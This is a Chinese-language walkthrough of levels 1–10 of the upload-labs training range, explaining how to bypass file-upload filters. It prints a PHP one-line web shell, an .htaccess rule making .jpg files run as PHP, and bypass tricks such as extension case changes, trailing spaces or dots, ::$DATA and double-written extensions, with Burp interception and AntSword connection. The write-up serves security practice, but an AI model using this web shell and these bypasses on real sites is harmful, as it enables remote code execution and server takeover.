upload-labs靶场:1—10通关教程

目录

[Pass-01(JS 验证)](#Pass-01(JS 验证))

Pass-02(MIME)

Pass-03(黑名单绕过)

[Pass-04(.htaccess 绕过)](#Pass-04(.htaccess 绕过))

Pass-05(大小写绕过)

Pass-06(空格绕过)

Pass-07(小数点绕过)

[Pass-08(::DATA 绕过)](#Pass-08(::DATA 绕过))

Pass-09(小数点和空格结合绕过)

Pass-10(双写绕过)


下载地址:GitHub - c0ny1/upload-labs: 一个想帮你总结所有类型的上传漏洞的靶场

1.php 内容:

复制代码
<?php @eval($_POST[cmd]);?>

Pass-01(JS 验证)

复制一个 php 文件,重命名 1.jpg

复制代码
<?php @eval($_POST[cmd]);?>

上传,然后拦截数据包,通过burp修改后缀,修改后放包(Burp发送后数据包是已经经过了前端,所以前端校验就会失效),后缀改为php

右键复制图像链接

用蚁剑测试链接

Pass-02(MIME)

提交 抓包 修改后缀为 php

Pass-03(黑名单绕过)

查看源码, 不允许上传.asp,.aspx,.php,.jsp后缀文件

修改 httpd.conf 文件中的这行代码,把前面的#去掉

抓包 修改后缀为 php3

Pass-04(.htaccess 绕过)

黑名单过滤太多,使用 .htaccess 绕过,内容如下,先把 .htaccess 上传,再上传 1.jpg

复制代码
<FilesMatch "jpg">
 SetHandler application/x-httpd-php
 </FilesMatch>

Pass-05(大小写绕过)

查看源码, 上一关的.htaccess文件也过滤掉了,发现没有过滤大小写,本关就用大小写绕过

上传 1.php 一句话木马,抓包修改后缀

Pass-06(空格绕过)

查看源码,大小写被过滤,没有过滤空格,就用空格过滤

上传 1.php 一句话木马,抓包,后缀加一个空格

Pass-07(小数点绕过)

查看源码,大小写被过滤,空格被过滤,没有过滤小数点,就用小数点过滤

上传 1.php 一句话木马,抓包,后缀加个小数点

Pass-08(::$DATA 绕过)

查看源码,小数点 大小写 空格 都被过滤,用 ::$DATA 过滤

上传 1.php 一句话木马,抓包,后缀加 ::$DATA

连接时删掉 ::$DATA

Pass-09(小数点和空格结合绕过)

查看源码,::$DATA 也被过滤,使用结合过滤

上传 1.php 一句话木马,抓包,后缀加 小数点 空格 小数点

Pass-10(双写绕过)

查看源码, str_ireplace()函数 将危险后缀都替换为空,然后尝试用双写绕过

上传 1.php 一句话木马,抓包,修改后缀

相关推荐
cipher9 小时前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
一次旅行3 天前
网络安全总结
安全·web安全
red1giant_star3 天前
手把手教你用Vulhub复现ecshop collection_list-sqli漏洞(附完整POC)
安全
一个人旅程~3 天前
如何用命令行把win10/win11设置为长期暂停更新?
linux·windows·经验分享·电脑
ZeroNews内网穿透3 天前
谷歌封杀OpenClaw背后:本地部署或是出路
运维·服务器·数据库·安全
一名优秀的码农4 天前
vulhub系列-14-Os-hackNos-1(超详细)
安全·web安全·网络安全·网络攻击模型·安全威胁分析
Factory_Audit4 天前
亚马逊社会责任验厂审核标准及注意事项
大数据·经验分享
Libraeking4 天前
05 安全边界:MCP Server 的权限沙箱与敏感数据保护
安全
努力的lpp4 天前
SQLMap CTF 常用命令全集
数据库·web安全·网络安全·sql注入
江南小书生4 天前
制造业系统赋能成熟度自测表(实操版)
经验分享·非标制造